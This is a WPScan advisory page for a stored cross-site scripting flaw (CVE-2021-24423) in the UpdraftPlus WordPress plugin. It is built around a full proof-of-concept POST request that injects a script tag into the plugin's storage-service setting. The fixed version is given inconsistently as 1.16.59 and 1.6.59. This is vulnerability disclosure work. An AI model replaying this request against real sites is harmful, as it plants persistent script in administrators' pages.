WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact
WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact

WordPress Plugin Vulnerabilities

UpdraftPlus < 1.16.59 - Admin+ Stored Cross-Site Scripting

Description

The plugin does not sanitise its updraft_service settings, allowing high privilege users to set malicious JavaScript payload in it and leading to a Stored Cross-Site Scripting issue

Proof of Concept

PoC | Authenticated Persistent XSS | Settings > Choose your remote storage:

POST /wp-admin/admin-ajax.php HTTP/2
Host: example.com
Cookie: [admin cookies]
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 5767

action=updraft_savesettings&subaction=savesettings&nonce=c7120743dc&settings=option_page%3Dupdraft-options-group%26_wpnonce%3D01063ba263%26_wp_http_referer%3D%252Fwp-admin%252Foptions-general.php%253Fpage%253Dupdraftplus%26updraft_interval%3Dmonthly%26updraftplus_starttime_files%3D%26updraft_retain%3D1%26updraft_interval_database%3Dmanual%26updraftplus_starttime_db%3D%26updraft_retain_db%3D1%26updraft_service%255B%255D%3Demail"><script>alert();</script>%26updraft_dropbox%255Bversion%255D%3D1%26updraft_dropbox%255Bsettings%255D%255Bs-2a7caf3a74d504515081dfd0b531ccd2%255D%255Bdummy-nosave%255D%3D0%26updraft_s3%255Bversion%255D%3D1%26updraft_s3%255Bsettings%255D%255Bs-bc2287fa5dd4cdb455f4809ac57a09d7%255D%255Baccesskey%255D%3D%26updraft_s3%255Bsettings%255D%255Bs-bc2287fa5dd4cdb455f4809ac57a09d7%255D%255Bsecretkey%255D%3D%26updraft_s3%255Bsettings%255D%255Bs-bc2287fa5dd4cdb455f4809ac57a09d7%255D%255Bpath%255D%3D%26updraft_cloudfiles%255Bversion%255D%3D1%26updraft_cloudfiles%255Bsettings%255D%255Bs-fbfe0b88e8c79c38895b4fe6b101905b%255D%255Bauthurl%255D%3Dhttps%253A%252F%252Fauth.api.rackspacecloud.com%26updraft_cloudfiles%255Bsettings%255D%255Bs-fbfe0b88e8c79c38895b4fe6b101905b%255D%255Bregion%255D%3DDFW%26updraft_cloudfiles%255Bsettings%255D%255Bs-fbfe0b88e8c79c38895b4fe6b101905b%255D%255Buser%255D%3D%26updraft_cloudfiles%255Bsettings%255D%255Bs-fbfe0b88e8c79c38895b4fe6b101905b%255D%255Bapikey%255D%3D%26updraft_cloudfiles%255Bsettings%255D%255Bs-fbfe0b88e8c79c38895b4fe6b101905b%255D%255Bpath%255D%3D%26updraft_googledrive%255Bversion%255D%3D1%26updraft_googledrive%255Bsettings%255D%255Bs-ff2d80b9376e659dde6c8f7dbcf86b9c%255D%255Bfolder%255D%3DUpdraftPlus%26updraft_onedrive%255Bversion%255D%3D1%26updraft_ftp%255Bversion%255D%3D1%26updraft_ftp%255Bsettings%255D%255Bs-6bde0c4ea403a7d64f87f61bb42efcf4%255D%255Bhost%255D%3D%26updraft_ftp%255Bsettings%255D%255Bs-6bde0c4ea403a7d64f87f61bb42efcf4%255D%255Buser%255D%3D%26updraft_ftp%255Bsettings%255D%255Bs-6bde0c4ea403a7d64f87f61bb42efcf4%255D%255Bpass%255D%3D%26updraft_ftp%255Bsettings%255D%255Bs-6bde0c4ea403a7d64f87f61bb42efcf4%255D%255Bpath%255D%3D%26updraft_ftp%255Bsettings%255D%255Bs-6bde0c4ea403a7d64f87f61bb42efcf4%255D%255Bpassive%255D%3D1%26updraft_azure%255Bversion%255D%3D1%26updraft_sftp%255Bversion%255D%3D1%26updraft_googlecloud%255Bversion%255D%3D1%26updraft_backblaze%255Bversion%255D%3D1%26updraft_webdav%255Bversion%255D%3D1%26updraft_s3generic%255Bversion%255D%3D1%26updraft_s3generic%255Bsettings%255D%255Bs-03ec850a0106bdc94704ed400202f6e7%255D%255Baccesskey%255D%3D%26updraft_s3generic%255Bsettings%255D%255Bs-03ec850a0106bdc94704ed400202f6e7%255D%255Bsecretkey%255D%3D%26updraft_s3generic%255Bsettings%255D%255Bs-03ec850a0106bdc94704ed400202f6e7%255D%255Bpath%255D%3D%26updraft_s3generic%255Bsettings%255D%255Bs-03ec850a0106bdc94704ed400202f6e7%255D%255Bendpoint%255D%3D%26updraft_s3generic%255Bsettings%255D%255Bs-03ec850a0106bdc94704ed400202f6e7%255D%255Bbucket_access_style%255D%3Dpath_style%26updraft_openstack%255Bversion%255D%3D1%26updraft_openstack%255Bsettings%255D%255Bs-966c380d736aabf0429dc160d1c79a0a%255D%255Bauthurl%255D%3D%26updraft_openstack%255Bsettings%255D%255Bs-966c380d736aabf0429dc160d1c79a0a%255D%255Btenant%255D%3D%26updraft_openstack%255Bsettings%255D%255Bs-966c380d736aabf0429dc160d1c79a0a%255D%255Bregion%255D%3D%26updraft_openstack%255Bsettings%255D%255Bs-966c380d736aabf0429dc160d1c79a0a%255D%255Buser%255D%3D%26updraft_openstack%255Bsettings%255D%255Bs-966c380d736aabf0429dc160d1c79a0a%255D%255Bpassword%255D%3D%26updraft_openstack%255Bsettings%255D%255Bs-966c380d736aabf0429dc160d1c79a0a%255D%255Bpath%255D%3D%26updraft_dreamobjects%255Bversion%255D%3D1%26updraft_dreamobjects%255Bsettings%255D%255Bs-edf60db5e5c21a0d5abb16b24b9ea0e9%255D%255Baccesskey%255D%3D%26updraft_dreamobjects%255Bsettings%255D%255Bs-edf60db5e5c21a0d5abb16b24b9ea0e9%255D%255Bsecretkey%255D%3D%26updraft_dreamobjects%255Bsettings%255D%255Bs-edf60db5e5c21a0d5abb16b24b9ea0e9%255D%255Bpath%255D%3D%26updraft_dreamobjects%255Bsettings%255D%255Bs-edf60db5e5c21a0d5abb16b24b9ea0e9%255D%255Bendpoint%255D%3Dobjects-us-east-1.dream.io%26updraft_include_plugins%3D1%26updraft_include_themes%3D1%26updraft_include_uploads%3D1%26updraft_include_uploads_exclude%3Dbackup*%252C*backups%252Cbackwpup*%252Cwp-clone%252Csnapshots%26updraft_include_uploads_exclude_entity%255B%255D%3Dbackup*%26updraft_include_uploads_exclude_entity%255B%255D%3D*backups%26updraft_include_uploads_exclude_entity%255B%255D%3Dbackwpup*%26updraft_include_uploads_exclude_entity%255B%255D%3Dwp-clone%26updraft_include_uploads_exclude_entity%255B%255D%3Dsnapshots%26updraft_include_others%3D1%26updraft_include_others_exclude%3Dupdraft%252Cbackup*%252C*backups%252Cmysql.sql%252Cdebug.log%26updraft_include_others_exclude_entity%255B%255D%3Dupdraft%26updraft_include_others_exclude_entity%255B%255D%3Dbackup*%26updraft_include_others_exclude_entity%255B%255D%3D*backups%26updraft_include_others_exclude_entity%255B%255D%3Dmysql.sql%26updraft_include_others_exclude_entity%255B%255D%3Ddebug.log%26updraft_email%3Dvladm0ze%2540gmail.com%26updraft_debug_mode%3D1%26updraft_split_every%3D40013%26updraft_delete_local%3D1%26updraft_dir%3D40013%26updraft_service%5B%5D%3D0%26updraft_service%5B%5D%3D0%26updraft_service%5B%5D%3D0%26updraft_service%5B%5D%3D0%26updraft_service%5B%5D%3D0%26updraft_service%5B%5D%3D0%26updraft_service%5B%5D%3D0%26updraft_service%5B%5D%3D0%26updraft_service%5B%5D%3D0%26updraft_service%5B%5D%3D0%26updraft_service%5B%5D%3D0%26updraft_service%5B%5D%3D0%26updraft_service%5B%5D%3D0%26updraft_service%5B%5D%3D0%26updraft_service%5B%5D%3D0%26updraft_ssl_useservercerts%3D0%26updraft_ssl_disableverify%3D0%26updraft_ssl_nossl%3D0%26updraft_auto_updates%3D0&updraftplus_version=1.16.56

 

Affects Plugins

updraftplus
Fixed in version 1.6.59

References

CVE
CVE-2021-24423
URL
https://m0ze.ru/vulnerability/[2021-05-09]-[WordPress]-[CWE-79]-UpdraftPlus-WordPress-Plugin-v1.16.56.txt

Classification

Type

XSS

OWASP top 10
A7: Cross-Site Scripting (XSS)
CWE
CWE-79

Miscellaneous

Original Researcher

m0ze

Submitter

m0ze

Submitter website
https://m0ze.ru
Submitter twitter
vladm0ze
Verified

Yes

WPVDB ID
541974d6-2df8-4497-9aee-afd3b9024102

Timeline

Publicly Published

2021-05-09 (about 1 years ago)

Added

2021-12-27 (about 1 years ago)

Last Updated

2022-04-09 (about 9 months ago)

Our Other Services

WPScan WordPress Security Plugin
WPScan

Vulnerabilities

WordPressPluginsThemesOur StatsSubmit vulnerabilities

About

How it worksPricingWordPress pluginNewsContact

For Developers

StatusAPI detailsCLI scanner

Other

PrivacyTerms of serviceSubmission termsDisclosure policyPrivacy Notice for California Users
jetpackIn partnership with Jetpack
githubtwitterfacebook
Angithubendeavor
Work With Us